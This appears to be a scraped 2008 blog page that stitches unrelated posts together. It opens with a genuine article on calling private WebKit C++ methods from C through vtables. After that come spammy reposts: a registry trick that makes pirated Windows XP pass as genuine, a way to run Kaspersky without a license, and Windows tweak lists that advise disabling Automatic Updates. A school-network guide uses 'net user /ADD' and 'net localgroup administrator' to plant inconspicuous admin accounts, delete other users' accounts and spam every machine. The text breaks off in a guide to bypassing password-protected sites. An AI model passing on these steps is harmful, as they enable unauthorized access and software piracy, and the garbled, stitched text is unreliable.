Tuesday, June 17, 2008

Hacking C++ From C

For a long time, LiveDictionary used deeply unwholesome methods to do its work. Version 1.2.5, just released, now uses nothing but public methods. This means vastly improved stability, but it also means that LiveDictionary's evil WebKit text grabber, once considered the app's crown jewels, is no longer useful. I'm going to use it as an object lesson on how to do evil things with C++ applications from pure C.

Motivation
This code was initially developed over the course of about one week, and then took approximately two months of debugging before it became stable. Since then Apple has broken it several times with Safari updates, with the changes required being anything from a simple change of offsets to a large re-engineering of the function.
The prototype of the function is thus: void LiveDict_1_3_WebViewGetTextAtPoint(id webHTMLView, NSPoint point, NSString **text, int *offset) Given an instance of a WebHTMLView (the thing inside a WebView that does all the work) and a point, the function is to return the text at that point, and the offset into that text which represents where that point is located inside it. This is then used to look up the appropriate word in LiveDictionary. (The 1_3 thing is a version numbering scheme so it doesn't conflict with nearly identical functions made for other versions of Safari.)
You would think that this would be easy, but at the time I originally wrote this function, there was no public way to obtain this information. Obviously there is some way to do it, since WebKit itself does it, for example when you drag to select some text. So I dove into WebCore to see how it was done.
]
After much digging, I found the KHTMLPart class which has a method called isPointInsideSelection that does basically the same thing. I ripped out the bits I didn't need and came up with the following C++ code:

id bridge = [webHTMLView _bridge];
KWQKHTMLPart *part = [bridge part];
DocumentImpl *impl = part->xmlDocImpl();
khtml::RenderObject *r = impl->renderer();
khtml::RenderObject::NodeInfo nodeInfo(true, true);
r->layer()->hitTest(nodeInfo, (int)location.x, (int)location.y);
NodeImpl *nodeImpl = nodeInfo.innerNonSharedNode();
if(!nodeImpl || !nodeImpl->renderer() || !nodeImpl->renderer()->isText())
return;
Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos);


Not too bad, right? Most of the code is just drilling down to the object I need to interrogate, and then asking it. (There's a little bit at the end to get the actual text of the node that I left off.)
But... I can't just write that code. All of these classes are private and buried in WebCore so I can't link against them. I can't just copy the headers because that still requires linking against them. So I decided to replicate the entire thing in C.
The only thing is, it's a bit complicated to do from C. The entire file, which contains nothing but the above function, its support functions, and comments, is 340 lines long. Over 10kB of source code just to replicate that straightforward C++. I'm going to show you exactly how it's done.

Virtual Reality
As you probably know, C++ has two types of methods (C++-ites like to call them "member functions", but that's not the sort of foolishness you'll see me spouting), virtual methods and the regular kind. Virtual methods are like the methods in other OO languages, in that the implementation is looked up at runtime. The regular kind is this weird abomination where the implementation is looked up entirely at compile time based on the declared type of the object. Since these two types of methods act so differently, we have to invoke them differently when we're hacking from C.


Static Hiss
Regular C++ methods are pretty easy to call from C, as long as you can get a pointer to them. They're actually just regular C functions with funny names and a single implicit parameter (this). So, for example, the xmlDocImpl method is non-virtual. Declared as a function pointer, it looks like: void * (*KHTMLPart_xmlDocImplP)(void *); You'll see a lot of void * in this article. This is because I completely don't care about types; if I'm slinging pointers around, I'll just use void * for convenience. So here we see that it returns a pointer, and takes a single parameter, the implicit this pointer. If I've assigned the function pointer to the right value, then I can perform the equivalent call from C as:

void *xmlDocImpl = KHTMLPart_xmlDocImplP(part);

The only remaining piece is to get the right pointer. Here, I use the APEFindSymbol function from Unsanity's APELite. (Note that this function requires having the mach_header of WebCore; getting this is left as an exercise for the reader.) All you have to know is the symbol name, which is easy to find by just dumping the symbols in WebCore using nm and looking for one that seems to fit. The code is:

KHTMLPart_xmlDocImplP = APEFindSymbol(header, "__ZNK9KHTMLPart10xmlDocImplEv");

And that's all there is to it. The C++ code contains two other references to non-virtual methods, the renderer method, and the hitTest method. They are used similarly.

Static Interference
Unlike certain other dynamic languages, C++ allows for stack-allocated objects. The NodeInfo instance is an example of this. Creating a stack object translates to C fairly directly. First you need to allocate space, which is done by creating a struct with the right memory layout. Then you need to construct the object by calling its constructor. However, in this case, I noticed that the constructor does nothing but set everything to zero. I don't know exactly what is in a NodeInfo but I know that it's five pointers. So my NodeInfo declaration in C looks like this:


struct NodeInfoStruct {
void *dummy1, *dummy2, *dummy3, *dummy4, *dummy5;
} nodeInfo = {0};


Of course if WebCore's NodeInfo definition ever changes significantly I'll be in a world of hurt. Oddly enough this never happened, though....

Inline Fun
C++ also likes inline methods that are declared in the header. I, however, hate them because they don't actually get a symbol in the built library. This means that their implementation is something I can't invoke. However, I can see what they do and copy them. The renderer method is one of these. All it does is return an instance variable of the object. So I just figured out the offset of that instance variable and ripped it out. It turns out that it's 22 pointer-sizes into the object, so my replacement function is just:


static void *Function_DocumentImpl_renderer(void *obj)
{
void **objLayoutPtr = obj;
return objLayoutPtr[22];
}


Ugly but effective. Again, if the internal layout of the object ever changes then I'm screwed, but this never happened.


Virtually Impossible
Unfortunately calling virtual methods is ever so slightly harder. I'll cover the theory first, then get into how to call them.
A C++ object that contains virtual methods has as its first four bytes a pointer to its class's vtable. A vtable is a big array of function pointers which exists on a per-class basis. Each virtual method is assigned an index in this table. A virtual method is invoked by indexing into the vtable, getting the function pointer, and then calling it.
Once you have a pointer to it, a virtual method works just like a non-virtual method, in that it looks like a C function with an extra parameter stuck on the front. So a function that does all this work to invoke the correct implementation looks like this:


static void *RenderObject_layer(void *obj)
{
const int layerVtableOffset = 7;
typedef void *(*LayerFptr)(void *);
LayerFptr **fakeObj = obj;
LayerFptr fptr = fakeObj[0][layerVtableOffset];
return fptr(obj);
}


There is a constant for the vtable offset, and a typedef for the function pointer that will be invoked. Next I treat the object as if it were just a vtable, since I don't care about the other parts of it. Then I just index into the object to get the vtable, index into the vtable to get the function pointer, and finally invoke it.


Debugger? What's That?
Now if you've been paying close attention, right about now you're thinking, "Where did he get that 7 from?" And a very good question that is!
The answer is basically trial and error. From looking at the headers you can count the virtual methods and make a guess, but this is unreliable. Virtual methods get laid out in the order that the compiler encounters them, so you can just count them off starting from the very first method in the highest superclass, working your way down, and find the offset.
The trouble with that approach is two-fold. First, people suck at counting, especially when you're counting stuff in mountains of evil C++. Second, if you get it wrong, you'll crash in horrible and weird ways. You'll be invoking a completely different function which probably takes completely different arguments and returns a completely different values. Debugging that error will not be fun; this is already difficult enough as it is, without adding another layer of undebuggability. So ideally we'd want to come up with a guess, and then check it. We can use our friend the debugger to tell us what the offset is.
I set a breakpoint in a location where I had a pointer to the object I wanted to investigate. In this case it's obj, which is a RenderObject (or an instance of a subclass). I'll find the offset of the layer function that I used in the previous example.

(gdb) p obj
$1 = (void *) 0x55127c0
Here we can see the object as a plain old void *. We'll have to do some creative casting to dig into it. (gdb) p *(void **)obj
$2 = (void *) 0xa5ca0e38
There's the vtable. (gdb) p **(void ***)obj
$3 = (void *) 0x95e5deb0
And that's the first entry in the vtable. But it's just another address, not very informative. (gdb) p /a 0x95e5deb0
$5 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
Ah hah! If we tell gdb to format it as an address (the /a thing) then it looks up the symbol. And so now we know that the function at offset 0 is "_ZN5khtml12RenderCanvasD1Ev". That's probably a constructor or something of that nature. (gdb) p /a (*(void ***)obj)[0]
$6 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
Here's a nicer way to look into the vtable. Instead of chasing pointers and manually printing addresses, I'll grab the vtable and then treat it like an array. I don't want to manually print off vtable entries until I find the right one, so I'm going to see if I can get gdb to print a bunch of them for me.


(gdb) set $i = 0
(gdb) p /a (*(void ***)obj)[$i]
$7 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
Better, it will print the entry at the index in $i. Now I just need a loop. (gdb) while $i < 10
>print $i
>p /a (*(void ***)obj)[$i]
>set $i = $i + 1
>end
$29 = 0
$30 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
$31 = 1
$32 = 0x95d5e130 <_zn5khtml12rendercanvasd0ev>
$33 = 2
$34 = 0x95cef53c <_zn5khtml12renderobject9setpixmaperk7qpixmaprk5qrectpns_11cachedimagee>
$35 = 3
$36 = 0x95e31ea8 <_zn5khtml18cachedobjectclient13setstylesheeterkn3dom9domstringes4_>
$37 = 4
$38 = 0x95cef538 <_zn5khtml18cachedobjectclient14notifyfinishedepns_12cachedobjecte>
$39 = 5
$40 = 0x95f1e24c <_znk5khtml15rendercontainer10firstchildev>
$41 = 6
$42 = 0x95f1e254 <_znk5khtml15rendercontainer9lastchildev>
$43 = 7
$44 = 0x95f1dd80 <_znk5khtml9renderbox5layerev>
$45 = 8
$46 = 0x95f1d7a0 <_zn5khtml12renderobject19positionchildlayersev>
$47 = 9
$48 = 0x95c9d7b8 <_zn5khtml12renderobject13requireslayerev>


The number 10 was arbitrary, somewhat informed by my guessing from reading the headers. You can keep going higher if you don't find it. But in this case we hit the jackpot; we see a function called layer at offset 7. And that is the story of the 7 in the vtable example above.

Insects and Other Horrors
This isn't exactly a technique to use, but it's a cautionary tale. One of the C++ lines reads:

Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos); This gets translated into C as: struct DOMPosition position = RenderObject_positionForCoordinatesP(parentRenderer, absXPos /*- renderXPos*/, absYPos /*- renderYPos*/); The original definition of struct DOMPosition was: struct DOMPosition {
void *m_node;
long m_offset;
};


This worked fine for a long time, but this past winter it came time to make a Universal binary of LiveDictionary. I groveled through the source code, checked it over with a fine-toothed comb, made sure all of my endians were swapped, and then sent off a build to somebody with an actual Intel Mac. And of course, it crashed almost instantly. And as I'm sure you've guessed, it crashed on that very line.
I spent a while not finding very much, just verifying that the PPC and Intel versions were doing the same thing. This line was suspicious because it's the only hacked C++ method that returns a struct.
On PPC, struct returns are done by using an implicit parameter and returning by reference. If you write this:

struct Point p = Function(x);
It gets translated internally to something like this:
struct Point p;
Function(&p, x);

With the return being done by having Function write to the struct via this implicit first parameter.
I thought that Intel might be different, and it is just a little bit. It turns out that on Intel, this convention is only used for structs that are longer than 8 bytes. Small structs are returned just like primitives. But still, there was no difference in calling convention between C functions and C++ methods, so things should still work even if this struct was only 8 bytes.
After some more digging I discovered the problem. At some point, DOMPosition had gained a third member. Doh! My struct was 4 bytes too short. It had continued to work on PPC through sheer luck; either the new member wasn't used, or the four bytes following the struct on the stack were something that could be harmlessly overwritten. But on Intel, those extra 4 bytes were enough to push the function over the edge; WebCore was returning the struct using the implicit parameter, but LiveDictionary was expecting a normal return, and so wasn't passing an implicit parameter. The result was a nasty crash.
The latest definition of the struct looks like:

struct DOMPosition {
void *m_node;
long m_offset;
int m_affinity;
};

With that fix, the Intel build worked fine.

Conclusions
Hacking on private C++ classes is harrowing and dangerous but doable. With the proper care, it can form the backbone of a whole application, so long as frequent updates are part of the plan, and the application is suitably paranoid. LiveDictionary would put up a very dire warning and disable itself by default if it detected a version of Safari that was newer than what it knew about. While I recommend this as the absolute last resort, and all other avenues should be explored first, it can be done if it's necessary.

ReGistrY FILE To MAKE your WindowsXp GENUINE

aHey Guyz......
i hope most of us is using windows Xp.....as our operating system.....but tell me....
how many of u are using d GENUINE copy?????

Dunno about U ...........but i m not using d original one.......

but ..but........but..........
my ryt now My Pirated Xp.....is totally same as Genuine Xp.......ReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.wsReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.wsReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.ws
wanna Know How to make it genuine....??

so dat u can easily update ur Xp.......easily install IE7, WMP 11, and other Microsoft genuine software??
ReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.ws

u wanna know how to do???


Ok Guyz......herez d trick.........
just download the attached file given below.....


just add dis to your registry!!!

BINGO!!!!
NOW UR
100% Genuine!!
ReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.ws
happy downloading,,,,from microsoft.com!!

Monday, June 16, 2008

Dramatically speed up your existing Internet broadband connection and get the best performance possible from your current Internet access. No technical questions; just one click and it's done. Free Internet speed test software included.. Full Speed will increase your online Internet speed with everything you do: faster downloads, web browsing, data streaming, e-mail. P2P and gaming.

Features:

* Faster Internet access
* Faster download speeds
* Faster web site browsing performance
* Improve Internet and Intranet performance
* Quicker data download times
* Improved streaming music and movies
* Faster download for songs and video
* Faster performance with email
* Better download speed for all data
* Faster loading Web graphics
* Speed test for Web site browsing
* Speed test for general data transfer

What's New in This Release:

· A 20% bandwidth reserve which is claimed by default by Windows XP for selective network functions and is very often not used, is re-claimed and used by Full Speed to increase Internet access bandwidth, (when not used by the other network functions).
· Full Speed testing software now uses higher capacity, more accurate and consistent hosting servers....

Homepage -
http://www.getfulls peed.com/


Instructions for Registration Included

Download:

http://rapidshare. com/files/ 35918636/ NYU_Full_ Speed_v2. 7.rar
Hey Guyz......
i hope most of us is using windows Xp.....as our operating system.....but tell me....
how many of u are using d GENUINE copy?????

Dunno about U ...........but i m not using d original one.......

but ..but........but..........
my ryt now My Pirated Xp.....is totally same as Genuine Xp.......ReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.wsReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.wsReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.ws
wanna Know How to make it genuine....??

so dat u can easily update ur Xp.......easily install IE7, WMP 11, and other Microsoft genuine software??
ReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.ws

u wanna know how to do???


Ok Guyz......herez d trick.........
just download the attached file given below.....


just add dis to your registry!!!

BINGO!!!!
NOW UR 100% Genuine!!
ReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.ws
happy downloading,,,,from microsoft.com!!ReGistrY FILE To MAKE your WindowsXp GENUINE - www.crack$hack.ws

INTERNET EXPLORER Speed up STARTUP .


INTERNET EXPLORER Speed up STARTUP .



I
sn't it annoying when you want to go to a new website, or any other site but your homepage, and you have to wait for your 'home' to load? This tweak tells Internet Explorer to simply 'run', without loading any webpages. (If you use a 'blank' page, that is still a page, and slows access. Notice the 'about:blank' in the address bar. The blank html page must still be loaded..). To load IE with 'nothing' [nothing is different than blank]:


1. Right-click on any shortcut you have to IE
[You should create a shortcut out of your desktop IE icon, and delete the original icon]
2. Click Properties
3. Add ' -nohome' [with a space before the dash] after the endquotes in the Target field.
4. Click OK
Fire up IE from your modified shortcut, and be amazed by how fast you are able to use IE!

~ cheers ~ (it works)


INTERNET EXPLORER SPEED UP.



Edit your link to start Internet Explorer to have -nohome after it. For Example: "C:\Program Files\Internet Explorer\IEXPLORE.EXE" -nohome
This will load internet explorer very fast because it does not load a webpage while it is loading. If you want to go to your homepage after it is loaded, just click on the home button.


or


Open registry editor by going to Start then >> Run and entering >> regedit.

Once in registry, navigate to key.

HKEY_CURRENT_USER\Software\microsoft\Windows\CurrentVersion\InternetSettings. Right click @ windows right > New > DWORD.

Type MaxConnectionsPerServer > You can set value (the more higher the no, the more good speed u get, e;g : 99). [99 in hexa so 153 in binary]

Create another DWORD >type MaxConnectionsPer1_0Server. Then put a high value as mentioned above.

Restart I.E and you are done.


SPEED UP BROWSING WITH DNS trick.!!



when you connect to a web site your computer sends information back and forth, this is obvious. Some of this information deals with resolving the site name to an IP address, the stuff that tcp/ip really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although WinXP and win2000 has a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:



Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012d



make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Then merge it into the registry.


START Internet EXPLORER WITH EMPTY BLUE SCREEN.!!



Set your default page to about:mozilla and IE will show a nice blue screen upon startup.


FIX IE 6 SLOWDOWNS AND HANGS.



1. Open a command prompt window on the desktop (Start/Run/command).
2. Exit IE and Windows Explorer (iexplore.exe and explorer.exe, respectively, in Task Manager, i.e - Ctrl-Alt-Del/Task Manager/Processes/End Process for each).
3. Use the following command exactly from your command prompt window to delete the corrupt file:
C:\>del "%systemdrive%\Documents and Settings\%username%\Local
Settings\Temporary Internet Files\Content.IE5\index.dat"
4. Restart Windows Explorer with Task Manager (Ctrl-Alt-Del/Task Manager/Applications/New Task/Browse/C:\Windows\explorer.exe[or your path]) or Shutdown/Restart the computer from Task Manager.


SPEED UP WEB BROWSING.



Iv'e personally found a dramatic increase in web browsing after clearing the Windows XP DNS cache. To clear it type the following in a command prompt: ipconfig /flushdns.

ALLOW MORE THAN 2 SIMULTANEOUS DOWNLOADS ON IEXPLORER 6.
This is to increase the the number of max downloads to 10.
1. Start Registry Editor (Regedt32.exe).
2. Locate the following key in the registry:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
3. On the Edit menu, click Add Value , and then add the following registry values:
"MaxConnectionsPer1_0Server"=Dword:0000000a
"MaxConnectionsPerServer"=Dword:0000000a
4. Quit Registry Editor.


IPV6 INSTALLATION FOR WINDOWS XP.



This protocol is distined to replace the Internet Protocal Version 4 used by Internet Explorer it uses hexadecimal ip addresses instead of decimal example (decimal ip 62.98.231.67) (hexadecimal IP 2001:6b8:0:400::70c)
To install To install the IPv6 Protocol for Windows XP:
Log on to the computer running Windows XP with a user account that has local administrator privileges. Open a command prompt. From the Windows XP desktop, click Start, point to Programs, point to Accessories, and then click Command Prompt. At the command prompt, type: ipv6 install
For more information on IPv6, visit the site below:
CODEhttp://www.microsoft.com/windowsxp/pro/techinfo/administration/ipv6/default.asp


ANOTHER WAY TO FIX IEXPLORER 6 SLOW PAGES LOADED.



Here's an easier way to get to index.dat file as addresse in another tweak submitted here.
1. click on Internet Explorer
2. go to to your root dir (usually C:)
3. open Documents and Settings folder
4. open "your username folder"
5. open UserData
6. **close IE if you have it open**
rename index.dat to index.old
logoff and log back on (don't need to restart) open up IE and go to a web page or site that always seemed to load slowly. It should load a lot more quickly now. NOTE. Always rename or backup .dat or other system files before deleting.

Disable Right Click!!


[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions]
"NoBrowserContextMenu"=dword:00000001

Enable Right Click!!


[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions]
"NoBrowserContextMenu"=dword:00000000


do u want to save entire Page For offline viweing??


Saving Web Pages with Internet Explorer 6

Occasionally, you may want to save an entire Web page on your computer (text, hyperlinks, graphics, and all). To save the Web page that currently appears in Internet Explorer, choose File-->Save As to open the Save Web Page dialog box shown in the following figure. Select the folder in which you want the page saved and then click the Save button.
After saving a Web page on your hard drive, you can open it in Internet Explorer and view the contents even when you're not connected to the Internet. If your motive for saving the Web page, however, is to be able to view the content when you're not connected to the Internet, you're better off saving the page as a Favorite marked for offline viewing. That way, you can decide whether you want to view other pages linked to the one you're saving and you can have Internet Explorer check the site for updated content.
You can also e-mail a Web page or a link to the page to a colleague or friend. To send the current Web page in a new e-mail message, click File-->Send-->Page by E-mail on the Explorer menu bar and then fill out the new e-mail. To send a link to the page instead, click File-->Send-->Link by E-Mail. To create a desktop shortcut to the Web page, click File-->Send-->Shortcut to Desktop.


~ all of them are tested ! ~


Alternate trick


Before performing these steps you need to test your broadband speed
you can test your speed at http://www.2wire.com/
The broadband connection speed can be increased by clearing the route from modem to server. Number of packets sent by modem to server should be increased.Internet speed can be increased by increasing more number of incoming and outgoing packets.The main reason why your internet connection is slow is because of harmful virus.If your system is infected with virus your number of incomming packets will be decreased.This leads to your slower internet speed.Internet speed can be increased by by clearing the route to the server.
This can be done by upgrading costly sofwares and hardwares.This will optimize your system speed.And Increase your system speed.Internet tweak is the best software which increases your system speed for further applications.Another software Windows power tools which makes windows faster and increases your internet speed.And decreases downloading time.It optimizes LAN,CABLE,DSN etc.Another software "internet cyclone"which increases your internet speed from 64kbps to 120kbps.
This tip is designed for increased BROADBAND speed in Windows XP while using standard Network Interface cards (NIC) that are connected to ADSL modems, or when using any directly-connected USB ADSL modem.

To speed up the Internet connection speed we need to configure a special buffer in the computer's memory in order to enable it to better deal with interrupts made from the NIC or the USB modem.

This tip is only recommended if you have 256MB RAM or higher.

Step #1 - Identify the IRQ used by the NIC/USB modem

1. Open the System Information tool by running MSINFO32.EXE from the Run command.

2. Expand System Summary > Hardware Resources > IRQs.

3. Look for the listing made for your NIC (in my case - a Intel® PRO/100+ Management Adapter). Note the IRQ next to the specified line (in my case - IRQ21).

In case of USB modems you will first need to find the right USB device used by your modem. Follow these steps:

1. Open the Device Manager tool by running DEVMGMT.MSC from the Run command (or by right-clicking My Computer > Hardware tab > Device Manager button).

2. Scroll down to Universal Serial Bus controllers and expand it.

3. Right-click the USB Root Hub and select Properties. Note that you might need to do so for all listed USB Root hubs (if there are more than one) in order to find the right one.

4. In the Power tab, look for your USB ADSL modem.

5. In the Resources tab look for the assigned IRQ (in this case - IRQ21).

6. This is the IRQ we're looking for.

Note: IRQs and modem names might vary...

Step #2 - Modify the system.ini file

1. Run SYSEDIT.EXE from the Run command.

2. Expand the system.ini file window.

3. Scroll down almost to the end of the file till you find a line called [386enh].

4. Press Enter to make one blank line, and in that line type IRQX=4096 where X is the designated IRQ number we found in step #1, in my case it's IRQ21.

Note: This line IS CASE SENSITIVE!!!

5. Click on the File menu, then choose Save.

6. Close SYSEDIT and reboot your computer.

Done. Speed improvement will be noticed after the computer reboots.

15 Top Windows XP secrets (Tutorial)

15 Top Windows XP secrets (Tutorial)

1. Useful key shortcuts available:

- Windows key + D - shows the desktop
- Windows key + M - minimizes all open windows
- Windows key + Shift + M - maximizes all open windows
- Windows key + E - Runs Windows Explorer
- Windows key + R - shows the RUN dialog
- Windows key + F - shows Search window
- Windows key + Break - shows System Properties box
- Windows key + TAB - Go through taskbar applications
- Windows key + PAUSE Display the System Properties dialog box
- Windows key + U Open Utility Manager
- ALT + TAB - Cycle through opened applications
- Hold down CTRL while dragging an item to Copy it
- CTRL + ESC Display the Start menu
- ALT + ENTER View the properties for the selected item
- F4 key Display the Address bar list in My Computer or
- NUM LOCK + Asterisk (*) Display all of the subfolders that are under the selected folder

2. Lock Windows to protect computer
You can lock Windows to protect the computer when leaving the station easily by creating a shortcut with the path rundll32.exeuser32.dll, LockWorkStation. The Windows key + L is also a shortcut to this feature.

3. Edit sysoc.inf to list all software
To show all software that can be removed from your computer (including protected Windows services), you can manually edit (using notepad for example) the sysoc.inf file located in Windows\inf\. Just remove the word hide next to the software pack.
*Note* - use this at your own risk. Removing critical components of the system will make Windows instable.

4. Windows XP comes with IPv4 and IPv6
Windows XP comes both IPv4 and IPv6 support. To enable IPv6, you can install the protocols needed with the command "ipv6 install" in the command-prompt. Then type ipv6 /? to see the options. The installation will not remove the IPv4 protocols so your current configuration will still work.

5. Access Task Manager with shortcut
To access the Task Manager easier, you can make a shortcut that points to %windir%\system32\taskmgr.exe.

6. Stop treating ZIP files like Folders
If you don't want your Windows XP to treat ZIP files like folders, you can disable this component by running regsvr32 /u zipfldr.dll at the command prompt or Run dialog. If you start missing it, you can enable it by typing regsvr32 zipfldr.dll.

7. Run program as diffrent user
You can run a program as a different user. Right click an application and select Run As command.

8. Switch users leaving applications opened
You can switch users leaving the applications opened too (*NOTE* use this only when needed since it could lead to system instability).
Go to Task Manager - processes and end the process explorer.exe. This will end only your session and not all applications. Then go to Applications tab, click New task and type runas /user:domainname\username explorer.exe. A password prompt will appear to login to the desired username. The user's session will start, with all your previously applications running.
I recommend to open first a command-line prompt and type runas /? to see all the options available.

9. Rename multiple files in Windows at once
Rename multiple files in Windows at once. Select them all, right click and select Rename. Enter the desired name. They will be renamed using what you specified, with a number in brackets to distinguish them.

10. Task kill feature in Windows
Windows has a task kill feature similar to Linux. Go to a command prompt and run the command tasklist to see running processes with PID numbers. Then type tskill to end the specific task. This forces an instant closing of the task.

11. Edit features with GPEDIT.MSC
You can edit many features by running gpedit.msc. You can add log on/log off scripts here and many features.

12. Edit accounts in the command prompt
You can edit accounts by running "control userpasswords2" at the command prompt.

13. Use systeminfo.exe to see System Information
You can use the systeminfo.exe command in the command prompt to see System Information, including all Windows updates and hotfixes.

14. Disable system services for maximum performance
There are system services that you can disable to free up the system's load. To access the interface that permits you to make changes to system's services, type services.msc and the command prompt.
This is a list of services that are *usually* useless and can be safely disabled.
Alerter
Application Layer Gateway Service,
Application Management
Automatic Updates
Background Intelligent Transfer
Clipbook
Distributed Link Tracking Client
Distributed Transaction Coordinater
Error Reporting Service
Fast User Switching Compatibility
IMAPI CD-Burning
Indexing Service
IPSEC Services
Messenger
Net Logon
Net Meeting
Remote Desktop Sharing
Network DDE
Network DDE DSDM
Portable Media Serial Number
Remote Desktop Help Session Manager
Remote Registry
Secondary Logon
Smartcard
SSDP Discovery Service
Uninterruptible Power Supply
Universal Plug and Play Device Host
Upload Manager
Webclient
Wireless Zero Configuration
WMI Performance Adaptor

*NOTE*: Make sure you don't need them since some applications you're using could depend on them. If you make any application to fail by disabling any of the services, go back and enable it again.

15. Repair Windows XP by using the XP installation CD
If your system failes to start due to an error related to missing HAL.DLL, invalid Boot.ini or any other critical system boot files you can repair this by using the XP installation CD. Simply boot from your XP Setup CD and enter the Recovery Console. Then run "attrib -H -R -S" on the C:\Boot.ini file and delete it. Run "Bootcfg /Rebuild" and then Fixboot.

Kaspersky - Without any keys or serials (Update Easily)

Kaspersky - Without any keys or serials (Update Easily)


Use Kaspersky without any keys or serials and update easily!!!!!

People if you use kaspersky then USE this method!

It's 100% working and it's easy, fast and simple!

With this small download, you'll never worry about your license expiring
and there's no need to activate it...

1)You still get 100 % full working software with this

2)You also are able to download any update for it so your always on top of new virus

3)It's simple and easy to use!

Must have if you own a copy Kaspersky......

1- go To ( Start ) then ( Run )

2- Type ( regedit ) and press ( OK )

3- Go To ( HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\Data ) & Right Click On ( Data ) & Choose ( Permissions )

4- Choose ( Advanced ) From The ( Permissions For Data ) New Window Opened

5- In ( Advanced Security Settings for Data ) Window .. There is a sentnce which begin with ( Inherit from parent ... ) click on the nike or check mark to remove it

6- After Removing the check or nike mark you will get a new message .. choose from it ( Remove )

7- Then in ( Advanced Security Settings for Data ) click on ( Apply )

8- After Clicking Apply you will get a new message choose ( Yes )

9- After That Press ( OK ) In ( Advanced Security Settings for Data )

10- After That .. Press ( OK ) In ( Permissions For Data )

11- After That Make An ( Exit ) For ( KasperSky ) .. & Run It Again

12- You Will Notice That The Kaspersky Icon Is Not ( RED ) But Its ( GRAY ) Which means that the program is not activated

13- But if you opened it you will see al things are working perfect 100% Working

What Happened To The Program After These Steps ?

- You Will update the kaspersky database manually ... no automatic updates

- thw windows security center will tell you that the firewall or\and antivirus is not working ... bec you made the kasper seemed unactiviated

Sending messages out over the network

Sending messages out over the network


Okay, here's how to send crazy messages to everyone in your school on a computer. In your command prompt, type

Net Send * "The server is h4x0r3d"

*Note: may not be necessary, depending on how many your school has access too. If it's just one, you can leave it out*

Where is, replace it with the domain name of your school. For instance, when you log on to the network, you should have a choice of where to log on, either to your school, or to just the local machine. It tends to be called the same as your school, or something like it. So, at my school, I use

Net Send Varndean * "The server is h4x0r3d"

The asterisk denotes wildcard sending, or sending to every computer in the domain. You can swap this for people's accounts, for example

NetSend Varndean dan,jimmy,admin "The server is h4x0r3d"

use commas to divide the names and NO SPACES between them.


Adding/modifying user accounts




Now that you have a command prompt, you can add a new user (ie yourself) like so

C:>net user username /ADD

where username is the name of your new account. And remember, try and make it look inconspicuous, then they'll just think its a student who really is at school, when really, the person doesn't EXIST! IF you wanna have a password, use this instead:

C:>net user username password /ADD

where password is the password you want to have. So for instance the above would create an account called 'username', with the password being 'password'. The below would have a username of 'JohnSmith' and a password of 'fruity'

C:>net user JohnSmith fruity /ADD

Right then, now that we can create accounts, let's delete them:)

C:>net user JohnSmith /DELETE

This will delete poor liddle JohnSmith's account. Awww. Do it to you enemies:P no only joking becuase they could have important work... well okay only if you REALLY hate them:)

Let's give you admin priveleges:)

C:>net localgroup administrator JohnSmith /ADD

This will make JohnSmith an admin. Remember that some schools may not call their admins 'adminstrator' and so you need to find out the name of the local group they belong to.

You can list all the localgroups by typing

C:>net localgroup

Running .exe files you can't usually run

In the command prompt, use cd (change directory) to go to where the file is, use DIR to get the name of it, and put a shortcut of it on to a floppy. Run the program off the floppy disk.

Well, I hope this article helped a bit. Please vote for me if you liked it:) Also, please don't go round screwing up your school servers, they are providing them free to you to help your learning.

I will add more as I learn more and remember stuff (I think I've left some stuff out - this article could get very long...)




Enjoy

Free Hacking Password Protected Website's

Free Hacking Password Protected Website's


warning : For educational purpose only

i know dis is lame but just would like to share wid u.
have nothing for next half an hour so typing it.. lol
Shankha



here are many ways to defeat java-script protected websites. Some are very simplistic, such as hitting
[ctl-alt-del ]when the password box is displayed, to simply turning offjava capability, which will dump you into the default page.You can try manually searching for other directories, by typing the directory name into the url address box of your browser, ie: you want access to www.target.com .

Try typing www.target.com/images .(almost ever y web site has an images directory) This will put you into the images directory,and give you a text list of all the images located there. Often, the title of an image will give you a clue to the name of another directory. ie: in www.target.com/images, there is a .gif named gamestitle.gif . There is a good chance then, that there is a 'games' directory on the site,so you would then type in www.target.com/games, and if it isa valid directory, you again get a text listing of all the files available there.

For a more automated approach, use a program like WEB SNAKE from anawave, or Web Wacker. These programs will create a mirror image of an entire web site, showing all director ies,or even mirror a complete server. They are indispensable for locating hidden files and directories.What do you do if you can't get past an opening "PasswordRequired" box? . First do an WHOIS Lookup for the site. In our example, www.target.com . We find it's hosted by www.host.com at 100.100.100. 1.

